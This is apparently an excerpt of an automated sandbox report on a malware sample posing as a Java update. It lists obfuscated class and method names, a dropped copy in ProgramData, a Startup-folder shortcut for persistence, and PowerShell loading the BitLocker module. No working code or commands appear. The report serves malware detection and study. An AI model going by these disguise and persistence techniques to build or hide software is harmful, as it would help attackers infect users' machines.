Source: Java32.exe, tZ6oft7BzSb4AfcJ9HE1ARiYZ6GxZE8r9pfmFUl7orHhqkVaHLN.cs	High entropy of concatenated method names: '_9AQc4sjeen1iLd2tQkbiIaiHm2TlAi8zBnM8GGqe3tANTI1rs7d', 'h9oOLTKe8cPpdt7TjJTqUyqJVYnn5kSbjKcjgvqpSVaM8HUK334', '_8OMUxxCcLLv9CGUCXXkNQ4ddAaHWmIV6gyr9feY9pUGebr2KzNy', 'qHsZCO2RB37VHlemrCuR8xeQMFCfqE0JgTXuRTANy75RTIjEJXR', 'CJ4ahdJwNRotqv8eWCYv9gDbkyKoxPsS3KHLm9X9reLe4osDqR5', 'wnJ6g2IhCiEBIsyRAYC87R9Ju0kxQKpKUa1GMZeiR2R2NzfVIis', 'yhmNxKiK2d9G8O4rsur2BYe3pJVauFAZEBNES6gIrGCEJcSR1Yq', 'qXD0NKzvOXB1ylPaHKFwJ1pUqQHzMlNUhU5LyWysQ5w0K9OdRKr', 's68uMIIgTS6ICBr6AIAQLzfQewF7jj0aYvaWvw7hepN0XczN5Es', 'VEfyrR2CwFBej6gsgR6hg8qWt53et5zL2gzuRIj88vCyandwmWl'
Source: Java32.exe, MwyMYrB7y8ul081GLk0N2YqRVdXS53fNhilCcw2m5Lg6CxJf6PgkdwE4agrx6Mi5bA.cs	High entropy of concatenated method names: 'DMjU3qEuEyTTwKkQ6JYLvmMYI8GsCc4nIQcWnGhN1UZ4sZK9yljUbhi38eL2rAd8p6', 'aX8yKa0LTsudAMA7bGRhfxgW0Qx6RUGDUydAlrgYwEeSZdzA3NLHpmv3FYP71YBBU0', 'Elyw5OOv9ZXV8oOp8pSOqWlSiL7qZQ8uWUYEYrYldYzlY85fbFz73RfidvVqqdm5CB', 'cHhMprBcdBTBtLkeqip6GR8m9WKWlVtWYGPFjwWJhHbC6t1Z9xM5U1nJryeMadzGAH', 'KvAHq2S6BCShrEXrFzfZYr39RUV2thBF9orP8JM8B4xEy168hFdJWp8KHqJLQNRA4B', '_7cOLdM31gx0ByM2jh9BsouCr96MhoheFYdBO3YtWFAu9CklRw1Bi1HU0Ag9FqS0Ouo', 'NonlJdIaLlEpZYagY6BcjSgkNRRf5N6BdlWpYl4KvWd6OJ6WB5f6q3iQ2LMCixDY1k', '_4EWbizpjWvcu6D7T7pouFB2xDKxTaC0ulntOjelFfhVfHqmVA5OBkCMTge4a30ocZP', 'HeWF3BQD4bfTmYfhMI5tu3rYw1aAIADLhyNE8e7ShXJUOZ0uZ8Snlj7wgkANB1fZUP', 'CSGCTaWDTUfPDJoL32Z5Z5nOzWmNuq7HHy0CMmTQKYLn5pfRqsk'
Source: Java Update(32bit).exe.0.dr, LBTp3YK8zXR.cs	High entropy of concatenated method names: 'WtTqB1JZ7dI', 'u0qkALmhJ2a', 'gt7uJ6VPmEw', 'GDrf2DREPbYJjC8PudQ0nzUkxjw2JItFUqBiTHojKa750ic0wAA2i0e4xpGiUb9p3jSbP2TkTLbrcKY28ewdgt5BpGaYdMD7', 'gPNfbGMrbdtaOOT7Bijxh9DVA20XOWK5NdTex4GF7IT30hNR6VyQkyBYmYJYDzeL6p9nvb4QfoHQJgBdiyYqfZo9rZrTWBZM', 'EQoJk7UvVdxRWj7IUnrmFEu5TdCKPkKYEbZhL2Q14ayBxFTswEBj793OnZHfuCV4jX427JUXVPnJN8sROFyK868yHLMznN4r', 'tpqzcs0whoSf6iY9E4qXXoMGAI7GL4VZlMHbOUhBa4nMezlBZkQvddQIkySNJKQzXkQh6R6tWpkqVwLQpaxlkuQOQEAONvyl', 'CQVyeqMscg7TcNpE4D4OrXXnwMLw7yqDQ885y5', 'Sfuc3X9Z6BxBuBDkqPeLRDuuBbjAahv9PXDt0o', 'dyT6bp1QAe3HBIC0L21LCQ1aLwk0LfnM94TZp6'
Source: Java Update(32bit).exe.0.dr, 2AKpcC5Z2bURvKt9uMpYYZhoU49gC6WtNJNIn7adr9RU2vHsNBvYbJ3EHaRzPtWURQxvWy0d99fApARzJPaxfNkw9XE.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'KbPoBucKIpFy4zrdEOZkfAyA3SrI', 'KqurzA55EmbdbAsyi4VLSJcuFxwr', 'T3DZJnpGpBGB6qYLVxucEysSmiL6', 'Ol6qO6T3OdhFmTsEXPepw2vJKT8f'
Source: Java Update(32bit).exe.0.dr, XTJMjCSnnVl.cs	High entropy of concatenated method names: 'xahQwM1ntDE', '_8gw5EX1ocEi', 'J6H2fpI3TsZ', 'odHvo6bN9R9', 'LGHnnGyqmdnt46LFmiBqY', 'PHaC6qgnqeGxrnLQdJMFJ', '_0T0ZLSQl2EGlCSMuarP45', 'wN0MsdZv48Fm7sb0R9Klb', 'BOilHbLzBrQq5e2BAqW7h', 'MznZpvxKycDqVu2Qthf9u'
Source: Java Update(32bit).exe.0.dr, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	High entropy of concatenated method names: 'NUqA7mJDqid0VDivE5WLXqQ54Qqi34VO4vKm1wCoCf9WQkuieQw', 'Zc96rT8c18YY6h65e4JcxuoSPsbCmz305Lk37xFNPrIdd83R6c7', 'FdvevIq6ilGjcYIQ1rc0WEjPY2jcXJttB7azvjlS9eFCMFxoUkL', '_1MZFNV4CvKDmX0ymfA5ZXrKmrz6czfWKSg9c1G8FHtcExggx7UZ', 'jzYfHZMnOA6tjb6gzcPbfeQl7FIrHi4xzTobTqIvMql8en11xFp', 'P9Hz3A62ZCPRorFvJkWNd0tpQnHmPbDYMiLUS1UZK0vF2to2ZOXCTH7scrWvbmfdGT7xVCcR3M2VIeo4FhU', 'mHTgoQsNrLYUYGPpXa5NuH4q2GgEsCUslEaqyXyA3E6jPDZUU9BviIdrUJRs9XsEqMoTrIf0qJsyzLiTJo2', 'b6wjHf0Rg1mLAbFv0Pegz0ktw132BIGCZJEpF5thYjwZjcEC0cptDxw90WWnmPz5b7XYyJo2KYrxvaJ9unm', 'Oiuvdu4K4t87SN9opvxdrxZrDUbPxWM3JHJbFu11BY8PwrJfb4fybBMZyg64E0RemiApgIaG1ZpWeMeQg1G', 'zNG7ed4s53WuUzRs105yx6UDv6CaWnybb4jVGBg3cjbg9nd7Z58zXDEwifITm61lrN4HWyiQbzVkH6dWPiv'
Source: Java Update(32bit).exe.0.dr, R2Vw38GeWoQxhB7YZMpUVZTRVm1YmgKxOBgtRc1PPm2HHOMzmnRE6zzdei8Z0B9itg14hLJavf6baUPLIgs.cs	High entropy of concatenated method names: 'iwC6oHNFS6s8VqpXDqE6UDNMQ76ZWBYrS8VpRX054JKOCAXfKyJFh05peQxaKKqP70hJUu0W1c3s4L0BNtV', 'UhNAlIFH5RugKPrTvzviu', 'pDtgkFJfQjKm0RRw5lcwO', 'IqGCXv8EuXPympjMprVz8', 'O0MpsjAWRS0vBwZ6wBHX3'
Source: Java Update(32bit).exe.0.dr, ZjgOIt8bTP1.cs	High entropy of concatenated method names: 'aucr7ZkA4xw', '_94MeGq5zstj', 'iNwykl13991', 'eA3ew7dTzTe', 'ziHWhSkB3W1', 'fLcn2O2HckP', 'Yie3uoOK8zw', 'yPcrDZRIb8o', '_6k7Vbrj5xnd', 'MjaxH5sQfiw'
Source: Java Update(32bit).exe.0.dr, 4rh9XCbhev68ifqwiI1JPsN5n2rAZX4JuNpVEyYbSt7s8HBGHcbm1xUD3NOy2HXKzemTVUwUg5k2taxMpn2.cs	High entropy of concatenated method names: '_7Lr2qqFQC0rR3jNf2BCDmLCF7or2eH5XYkYgGLSmpk2BWEcEEN64r44P2tOHWW6sHVeqi', 'gZOrqgy03YweFXdq571UtOhj3G582LzPu4obGSiPYMZZQJLUOO89iBXf2e43uipsRHiN4', 'w0S1zwdqEbG11PcNLBA0RaPjGyv82Sgvp7ovlDK6FaXVLSQUhOZX8OGS1SQUjnwkuCdrU', 'SFy9o7wCVquiB3vtXhMGRpSLJ8cYbTp7eey5ApiMyO1eLsccmIrBQM18gX1HvGCZlQ8uV', 'I9hTFfbmGamAi3N2vHdWhs7P2jnMLQDoyZgZxMz7gp9cB8JkpofjgFmDzuNrPRlb1CCFm', 'S2lbC4trDDKIes0wxZk9DcUc0g3xgH7YyD0fGY2GmRbWM9RkuHeX9BFB2KenZsPMV8S0s', 'IiofO32JXc6yolA9Fk21lIrmZgYmlflsky1cottq2xiIBZvngbKgdNrSHeA8sk2CMb1zJ', 'SQTEwrx8ZKKEyZfz1t8DWPXceIOnCGrR6Roe5W1rMkwAHwK9qw21hkKA5Ny0EbOFMFLvQ', '_7ybMLsyROvMdgJAReuO52pDr2KUMbAGW91ggTCmzlZb0lvx95yDqcqwoBvVZwWCLulfHn', 'ERvOF66yYsiFbr0Lpbdqd1lqXcO11VupCFpHMhecq3G8f3Aoa12RKa17bXRntpWmDCAQl'
Source: Java Update(32bit).exe.0.dr, tZ6oft7BzSb4AfcJ9HE1ARiYZ6GxZE8r9pfmFUl7orHhqkVaHLN.cs	High entropy of concatenated method names: '_9AQc4sjeen1iLd2tQkbiIaiHm2TlAi8zBnM8GGqe3tANTI1rs7d', 'h9oOLTKe8cPpdt7TjJTqUyqJVYnn5kSbjKcjgvqpSVaM8HUK334', '_8OMUxxCcLLv9CGUCXXkNQ4ddAaHWmIV6gyr9feY9pUGebr2KzNy', 'qHsZCO2RB37VHlemrCuR8xeQMFCfqE0JgTXuRTANy75RTIjEJXR', 'CJ4ahdJwNRotqv8eWCYv9gDbkyKoxPsS3KHLm9X9reLe4osDqR5', 'wnJ6g2IhCiEBIsyRAYC87R9Ju0kxQKpKUa1GMZeiR2R2NzfVIis', 'yhmNxKiK2d9G8O4rsur2BYe3pJVauFAZEBNES6gIrGCEJcSR1Yq', 'qXD0NKzvOXB1ylPaHKFwJ1pUqQHzMlNUhU5LyWysQ5w0K9OdRKr', 's68uMIIgTS6ICBr6AIAQLzfQewF7jj0aYvaWvw7hepN0XczN5Es', 'VEfyrR2CwFBej6gsgR6hg8qWt53et5zL2gzuRIj88vCyandwmWl'
Source: Java Update(32bit).exe.0.dr, MwyMYrB7y8ul081GLk0N2YqRVdXS53fNhilCcw2m5Lg6CxJf6PgkdwE4agrx6Mi5bA.cs	High entropy of concatenated method names: 'DMjU3qEuEyTTwKkQ6JYLvmMYI8GsCc4nIQcWnGhN1UZ4sZK9yljUbhi38eL2rAd8p6', 'aX8yKa0LTsudAMA7bGRhfxgW0Qx6RUGDUydAlrgYwEeSZdzA3NLHpmv3FYP71YBBU0', 'Elyw5OOv9ZXV8oOp8pSOqWlSiL7qZQ8uWUYEYrYldYzlY85fbFz73RfidvVqqdm5CB', 'cHhMprBcdBTBtLkeqip6GR8m9WKWlVtWYGPFjwWJhHbC6t1Z9xM5U1nJryeMadzGAH', 'KvAHq2S6BCShrEXrFzfZYr39RUV2thBF9orP8JM8B4xEy168hFdJWp8KHqJLQNRA4B', '_7cOLdM31gx0ByM2jh9BsouCr96MhoheFYdBO3YtWFAu9CklRw1Bi1HU0Ag9FqS0Ouo', 'NonlJdIaLlEpZYagY6BcjSgkNRRf5N6BdlWpYl4KvWd6OJ6WB5f6q3iQ2LMCixDY1k', '_4EWbizpjWvcu6D7T7pouFB2xDKxTaC0ulntOjelFfhVfHqmVA5OBkCMTge4a30ocZP', 'HeWF3BQD4bfTmYfhMI5tu3rYw1aAIADLhyNE8e7ShXJUOZ0uZ8Snlj7wgkANB1fZUP', 'CSGCTaWDTUfPDJoL32Z5Z5nOzWmNuq7HHy0CMmTQKYLn5pfRqsk'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, LBTp3YK8zXR.cs	High entropy of concatenated method names: 'WtTqB1JZ7dI', 'u0qkALmhJ2a', 'gt7uJ6VPmEw', 'GDrf2DREPbYJjC8PudQ0nzUkxjw2JItFUqBiTHojKa750ic0wAA2i0e4xpGiUb9p3jSbP2TkTLbrcKY28ewdgt5BpGaYdMD7', 'gPNfbGMrbdtaOOT7Bijxh9DVA20XOWK5NdTex4GF7IT30hNR6VyQkyBYmYJYDzeL6p9nvb4QfoHQJgBdiyYqfZo9rZrTWBZM', 'EQoJk7UvVdxRWj7IUnrmFEu5TdCKPkKYEbZhL2Q14ayBxFTswEBj793OnZHfuCV4jX427JUXVPnJN8sROFyK868yHLMznN4r', 'tpqzcs0whoSf6iY9E4qXXoMGAI7GL4VZlMHbOUhBa4nMezlBZkQvddQIkySNJKQzXkQh6R6tWpkqVwLQpaxlkuQOQEAONvyl', 'CQVyeqMscg7TcNpE4D4OrXXnwMLw7yqDQ885y5', 'Sfuc3X9Z6BxBuBDkqPeLRDuuBbjAahv9PXDt0o', 'dyT6bp1QAe3HBIC0L21LCQ1aLwk0LfnM94TZp6'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, 2AKpcC5Z2bURvKt9uMpYYZhoU49gC6WtNJNIn7adr9RU2vHsNBvYbJ3EHaRzPtWURQxvWy0d99fApARzJPaxfNkw9XE.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'KbPoBucKIpFy4zrdEOZkfAyA3SrI', 'KqurzA55EmbdbAsyi4VLSJcuFxwr', 'T3DZJnpGpBGB6qYLVxucEysSmiL6', 'Ol6qO6T3OdhFmTsEXPepw2vJKT8f'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, XTJMjCSnnVl.cs	High entropy of concatenated method names: 'xahQwM1ntDE', '_8gw5EX1ocEi', 'J6H2fpI3TsZ', 'odHvo6bN9R9', 'LGHnnGyqmdnt46LFmiBqY', 'PHaC6qgnqeGxrnLQdJMFJ', '_0T0ZLSQl2EGlCSMuarP45', 'wN0MsdZv48Fm7sb0R9Klb', 'BOilHbLzBrQq5e2BAqW7h', 'MznZpvxKycDqVu2Qthf9u'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	High entropy of concatenated method names: 'NUqA7mJDqid0VDivE5WLXqQ54Qqi34VO4vKm1wCoCf9WQkuieQw', 'Zc96rT8c18YY6h65e4JcxuoSPsbCmz305Lk37xFNPrIdd83R6c7', 'FdvevIq6ilGjcYIQ1rc0WEjPY2jcXJttB7azvjlS9eFCMFxoUkL', '_1MZFNV4CvKDmX0ymfA5ZXrKmrz6czfWKSg9c1G8FHtcExggx7UZ', 'jzYfHZMnOA6tjb6gzcPbfeQl7FIrHi4xzTobTqIvMql8en11xFp', 'P9Hz3A62ZCPRorFvJkWNd0tpQnHmPbDYMiLUS1UZK0vF2to2ZOXCTH7scrWvbmfdGT7xVCcR3M2VIeo4FhU', 'mHTgoQsNrLYUYGPpXa5NuH4q2GgEsCUslEaqyXyA3E6jPDZUU9BviIdrUJRs9XsEqMoTrIf0qJsyzLiTJo2', 'b6wjHf0Rg1mLAbFv0Pegz0ktw132BIGCZJEpF5thYjwZjcEC0cptDxw90WWnmPz5b7XYyJo2KYrxvaJ9unm', 'Oiuvdu4K4t87SN9opvxdrxZrDUbPxWM3JHJbFu11BY8PwrJfb4fybBMZyg64E0RemiApgIaG1ZpWeMeQg1G', 'zNG7ed4s53WuUzRs105yx6UDv6CaWnybb4jVGBg3cjbg9nd7Z58zXDEwifITm61lrN4HWyiQbzVkH6dWPiv'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, R2Vw38GeWoQxhB7YZMpUVZTRVm1YmgKxOBgtRc1PPm2HHOMzmnRE6zzdei8Z0B9itg14hLJavf6baUPLIgs.cs	High entropy of concatenated method names: 'iwC6oHNFS6s8VqpXDqE6UDNMQ76ZWBYrS8VpRX054JKOCAXfKyJFh05peQxaKKqP70hJUu0W1c3s4L0BNtV', 'UhNAlIFH5RugKPrTvzviu', 'pDtgkFJfQjKm0RRw5lcwO', 'IqGCXv8EuXPympjMprVz8', 'O0MpsjAWRS0vBwZ6wBHX3'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, ZjgOIt8bTP1.cs	High entropy of concatenated method names: 'aucr7ZkA4xw', '_94MeGq5zstj', 'iNwykl13991', 'eA3ew7dTzTe', 'ziHWhSkB3W1', 'fLcn2O2HckP', 'Yie3uoOK8zw', 'yPcrDZRIb8o', '_6k7Vbrj5xnd', 'MjaxH5sQfiw'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, 4rh9XCbhev68ifqwiI1JPsN5n2rAZX4JuNpVEyYbSt7s8HBGHcbm1xUD3NOy2HXKzemTVUwUg5k2taxMpn2.cs	High entropy of concatenated method names: '_7Lr2qqFQC0rR3jNf2BCDmLCF7or2eH5XYkYgGLSmpk2BWEcEEN64r44P2tOHWW6sHVeqi', 'gZOrqgy03YweFXdq571UtOhj3G582LzPu4obGSiPYMZZQJLUOO89iBXf2e43uipsRHiN4', 'w0S1zwdqEbG11PcNLBA0RaPjGyv82Sgvp7ovlDK6FaXVLSQUhOZX8OGS1SQUjnwkuCdrU', 'SFy9o7wCVquiB3vtXhMGRpSLJ8cYbTp7eey5ApiMyO1eLsccmIrBQM18gX1HvGCZlQ8uV', 'I9hTFfbmGamAi3N2vHdWhs7P2jnMLQDoyZgZxMz7gp9cB8JkpofjgFmDzuNrPRlb1CCFm', 'S2lbC4trDDKIes0wxZk9DcUc0g3xgH7YyD0fGY2GmRbWM9RkuHeX9BFB2KenZsPMV8S0s', 'IiofO32JXc6yolA9Fk21lIrmZgYmlflsky1cottq2xiIBZvngbKgdNrSHeA8sk2CMb1zJ', 'SQTEwrx8ZKKEyZfz1t8DWPXceIOnCGrR6Roe5W1rMkwAHwK9qw21hkKA5Ny0EbOFMFLvQ', '_7ybMLsyROvMdgJAReuO52pDr2KUMbAGW91ggTCmzlZb0lvx95yDqcqwoBvVZwWCLulfHn', 'ERvOF66yYsiFbr0Lpbdqd1lqXcO11VupCFpHMhecq3G8f3Aoa12RKa17bXRntpWmDCAQl'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, tZ6oft7BzSb4AfcJ9HE1ARiYZ6GxZE8r9pfmFUl7orHhqkVaHLN.cs	High entropy of concatenated method names: '_9AQc4sjeen1iLd2tQkbiIaiHm2TlAi8zBnM8GGqe3tANTI1rs7d', 'h9oOLTKe8cPpdt7TjJTqUyqJVYnn5kSbjKcjgvqpSVaM8HUK334', '_8OMUxxCcLLv9CGUCXXkNQ4ddAaHWmIV6gyr9feY9pUGebr2KzNy', 'qHsZCO2RB37VHlemrCuR8xeQMFCfqE0JgTXuRTANy75RTIjEJXR', 'CJ4ahdJwNRotqv8eWCYv9gDbkyKoxPsS3KHLm9X9reLe4osDqR5', 'wnJ6g2IhCiEBIsyRAYC87R9Ju0kxQKpKUa1GMZeiR2R2NzfVIis', 'yhmNxKiK2d9G8O4rsur2BYe3pJVauFAZEBNES6gIrGCEJcSR1Yq', 'qXD0NKzvOXB1ylPaHKFwJ1pUqQHzMlNUhU5LyWysQ5w0K9OdRKr', 's68uMIIgTS6ICBr6AIAQLzfQewF7jj0aYvaWvw7hepN0XczN5Es', 'VEfyrR2CwFBej6gsgR6hg8qWt53et5zL2gzuRIj88vCyandwmWl'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, MwyMYrB7y8ul081GLk0N2YqRVdXS53fNhilCcw2m5Lg6CxJf6PgkdwE4agrx6Mi5bA.cs	High entropy of concatenated method names: 'DMjU3qEuEyTTwKkQ6JYLvmMYI8GsCc4nIQcWnGhN1UZ4sZK9yljUbhi38eL2rAd8p6', 'aX8yKa0LTsudAMA7bGRhfxgW0Qx6RUGDUydAlrgYwEeSZdzA3NLHpmv3FYP71YBBU0', 'Elyw5OOv9ZXV8oOp8pSOqWlSiL7qZQ8uWUYEYrYldYzlY85fbFz73RfidvVqqdm5CB', 'cHhMprBcdBTBtLkeqip6GR8m9WKWlVtWYGPFjwWJhHbC6t1Z9xM5U1nJryeMadzGAH', 'KvAHq2S6BCShrEXrFzfZYr39RUV2thBF9orP8JM8B4xEy168hFdJWp8KHqJLQNRA4B', '_7cOLdM31gx0ByM2jh9BsouCr96MhoheFYdBO3YtWFAu9CklRw1Bi1HU0Ag9FqS0Ouo', 'NonlJdIaLlEpZYagY6BcjSgkNRRf5N6BdlWpYl4KvWd6OJ6WB5f6q3iQ2LMCixDY1k', '_4EWbizpjWvcu6D7T7pouFB2xDKxTaC0ulntOjelFfhVfHqmVA5OBkCMTge4a30ocZP', 'HeWF3BQD4bfTmYfhMI5tu3rYw1aAIADLhyNE8e7ShXJUOZ0uZ8Snlj7wgkANB1fZUP', 'CSGCTaWDTUfPDJoL32Z5Z5nOzWmNuq7HHy0CMmTQKYLn5pfRqsk'

Source: C:\Users\user\Desktop\Java32.exe

File created: C:\ProgramData\Java Update(32bit).exe

Jump to dropped file

Source: C:\Users\user\Desktop\Java32.exe

File created: C:\ProgramData\Java Update(32bit).exe

Jump to dropped file

Source: C:\Users\user\Desktop\Java32.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java Update(32bit).lnk

Source: C:\Users\user\Desktop\Java32.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java Update(32bit).lnk

Loading BitLocker PowerShell Module

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
